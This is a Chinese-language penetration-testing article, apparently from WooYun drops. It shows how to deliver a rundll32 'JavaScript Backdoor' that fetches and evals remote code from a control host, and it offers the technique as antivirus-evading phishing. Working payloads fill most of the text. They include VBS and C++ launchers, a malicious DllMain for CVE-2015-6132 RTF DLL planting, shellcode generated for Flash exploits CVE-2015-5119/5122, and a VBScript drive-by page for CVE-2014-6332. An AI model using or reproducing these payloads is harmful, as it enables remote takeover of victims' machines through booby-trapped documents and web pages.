0×00 前言


前段时间分享了JavaScript Backdoor技术,着重对其功能的开发、Bug的优化做了介绍,这次研究一下JavaScript Backdoor在实际渗透测试中的利用方法。

Alt text

0×01 简介


特点:

通过cmd执行代码即可弹回shell

优势:

  • 免杀
  • 简便
  • 较隐蔽

利用思路:

综合其优势特点,JavaScript作为Phishing Payload有着意想不到的效果,下面就结合相关漏洞做简要介绍

0×02 隐藏在vbs中


最简便的方法,将JavaScript的上线代码写到vbs中

原始的JavaScript 上线代码:

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.136/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

对应vbs中的代码(注意转义字符):

#!vb
set shell=createobject("wscript.shell")
shell.run "rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WinHttp.WinHttpRequest.5.1"");h.Open(""GET"",""http://192.168.174.136/connect"",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe"",0,true);}",0

点击vbs脚本,即可弹回HTTP shell

0×03 隐藏在exe中


开发工具:VC6.0

需要注意以下细节:

1、使用ShellExecute, WinExec没有区别

通过两种方式执行cmd命令都可以

2、cmd 参数细节

eg:

#!bash
cmd /c dir 是执行完dir命令后关闭命令窗口 
cmd /k dir 是执行完dir命令后不关闭命令窗口
cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会关闭 
cmd /k start dir 会打开一个新窗口后执行dir指令,原窗口不会关闭 

所以在用c++执行cmd命令时,为了退出残留的cmd进程,需要用cmd /c start再加上需要的cmd命令

3、转义字符

c++中存在转义字符,我们的命令中需要的转义字符如下:

  • "需要用\"表示
  • \需要用\\表示

综上,c++的代码为

#!cpp
#include "stdafx.h"
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    char *command="cmd.exe /c start rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new\%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
    WinExec(command,SW_HIDE); 
    return 0;
}

点击exe,即可弹回HTTP shell

0×04 隐藏在dll中


开发工具:VC6.0

结合漏洞:CVE-2015-6132

细节可参考: http://zone.wooyun.org/content/24877

CVE-2015-6132 ,是一个类似于dll劫持的漏洞,如果在特定word文档的同级目录下放置一个dll,那么在打开word文档并点击图标后会运行同级目录下dll的代码

如图 Alt text

planted-mqrt.doc里面包含图标foo.txt,如果点击图标,那么会运行mqrt.dll中的代码,即弹框

当然,把word 文档改为rtf文档即可实现在打开文档后的自动触发

如果把mqrt.dll的payload改为JavaScript Backdoor,那么会怎么样呢?

下面我们就修改一下

方法也很简单,但也需要注意cmd的参数和转义字符的修改,关键代码如下:

#!cpp
BOOL APIENTRY DllMain( HANDLE hModule, 
                      DWORD  ul_reason_for_call, 
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        {
            char *command="cmd.exe /c start rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new\%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";           
            WinExec(command,SW_HIDE); 
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

如图

Alt text

打开CVE-2015-6132.rtf,没有任何异常反应

而这时我们的控制端已经弹回了shell,如图

Alt text

即使此时关闭CVE-2015-6132.rtf,shell仍然可以继续操作

0×05 转换成shellcode


开发工具:msf、vc6.0

结合漏洞:CVE-2015-5119&CVE-2015-5122

细节可参考: http://zone.wooyun.org/content/21586

使用vc6.0测试msf shellcode的技巧:

1、以messagebox举例

msf:

#!bash
use windows/messagebox
set TEXT rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
generate -t c

如图 Alt text

不难看出msf也存在转义字符

放在c++中测试msf shellcode,代码如下

#!cpp
#include "stdafx.h"

int main(int argc,char *argv[]) 
{ 
unsigned char buf[] = 
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
"\x68\x3b\x58\x20\x20\x68\x69\x6f\x6e\x20\x68\x69\x63\x61\x74"
"\x68\x41\x70\x70\x6c\x68\x48\x54\x4d\x4c\x68\x2c\x52\x75\x6e"
"\x68\x68\x74\x6d\x6c\x68\x2e\x2e\x6d\x73\x68\x69\x70\x74\x3a"
"\x68\x61\x73\x63\x72\x68\x20\x6a\x61\x76\x68\x2e\x65\x78\x65"
"\x68\x6c\x6c\x33\x32\x68\x72\x75\x6e\x64\x31\xc9\x88\x4c\x24"
"\x35\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";
__asm{
        lea eax,buf
        call eax
    }
    return 0;
}

如下图可以看到弹框,shellcode执行成功

Alt text

2、将JavaScript Backdoor转换成shellcode

msf:

#!bash
use windows/exec 
set CMD rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}
generate -t c

如图 Alt text

放在c++中测试shellcode,代码如下

#!cpp
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x72\x75\x6e\x64\x6c\x6c\x33\x32\x2e\x65\x78"
"\x65\x20\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x22\x5c"
"\x2e\x2e\x5c\x6d\x73\x68\x74\x6d\x6c\x2c\x52\x75\x6e\x48\x54"
"\x4d\x4c\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x20\x22"
"\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65"
"\x28\x29\x3b\x68\x3d\x6e\x65\x77\x25\x32\x30\x41\x63\x74\x69"
"\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x57\x69\x6e\x48"
"\x74\x74\x70\x2e\x57\x69\x6e\x48\x74\x74\x70\x52\x65\x71\x75"
"\x65\x73\x74\x2e\x35\x2e\x31\x22\x29\x3b\x68\x2e\x4f\x70\x65"
"\x6e\x28\x22\x47\x45\x54\x22\x2c\x22\x68\x74\x74\x70\x3a\x2f"
"\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x34\x2e\x31\x33"
"\x36\x2f\x63\x6f\x6e\x6e\x65\x63\x74\x22\x2c\x66\x61\x6c\x73"
"\x65\x29\x3b\x74\x72\x79\x7b\x68\x2e\x53\x65\x6e\x64\x28\x29"
"\x3b\x42\x3d\x68\x2e\x52\x65\x73\x70\x6f\x6e\x73\x65\x54\x65"
"\x78\x74\x3b\x65\x76\x61\x6c\x28\x42\x29\x3b\x7d\x63\x61\x74"
"\x63\x68\x28\x65\x29\x7b\x6e\x65\x77\x25\x32\x30\x41\x63\x74"
"\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x57\x53\x63"
"\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c\x22\x29\x2e\x52\x75"
"\x6e\x28\x22\x63\x6d\x64\x20\x2f\x63\x20\x74\x61\x73\x6b\x6b"
"\x69\x6c\x6c\x20\x2f\x66\x20\x2f\x69\x6d\x20\x72\x75\x6e\x64"
"\x6c\x6c\x33\x32\x2e\x65\x78\x65\x22\x2c\x30\x2c\x74\x72\x75"
"\x65\x29\x3b\x7d\x00";

__asm{
        lea eax,buf
        call eax
    }
    return 0;
}

运行后可以弹回shell,证明shellcode生成成功

3、结合CVE-2015-5119&CVE-2015-5122

测试环境

#!bash
Windows 7 SP1 (64-bit) 
ie8.0.7600.16385 
Adobe Flash Player 18,0,0,194

步骤:

1、msf

#!bash
use windows/exec 
set CMD rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}
generate -t dword

如图 Alt text

2、修改原工程文件 ,使用Adobe Flash CS6 编译生成新的swf

如图新编译的swf使用浏览器打开,弹回shell

Alt text

同样,将swf嵌入word、ppt、xls,均可弹回shell

此处细节略

0×06 结合Outlook漏洞


细节可参考: http://zone.wooyun.org/content/24657

测试环境

#!bash
win7 x86 
outlook2007

打开伪造的Outlook文档:

如图,内容中包含一个docx的图标

Alt text

现在双击打开,如图

Alt text

点击确定后,接着弹框,如图,随后弹回shell

Alt text

0×07 结合ie漏洞


结合漏洞:CVE-2014-6332

步骤:

1、将JavaScript同CVE-2014-6332结合,实现挂马

修改后的关键代码为:

#!vb
<SCRIPT LANGUAGE="VBScript">

function runmumaa() 
On Error Resume Next
set shell=createobject("wscript.shell")
shell.run "rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WinHttp.WinHttpRequest.5.1"");h.Open(""GET"",""http://192.168.174.136/connect"",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe"",0,true);}",0
end function
 </script>

之后将html文件放于kali上

2、kali上开启SimpleHTTPServer

#!bash
python -m SimpleHTTPServer 80

如图 Alt text

3、访问http://192.168.174.133/JavaScript.html

xp系统访问直接弹回shell

如图 Alt text

win7 x64访问会弹框

如图 Alt text Alt text

0×08 小结


通过以上内容,结合最近流行的IE、Office等经典的钓鱼漏洞对JavaScript的用法做简要介绍,希望能让大家有所启发,JavaScript Backdoor在渗透中会发挥越来越大的作用。

当然,上述漏洞的防御方法已经普及,对于普通用户来说,建议及时更新补丁安装最新杀毒软件和防火墙。

本文由三好学生原创并首发于乌云drops,转载请注明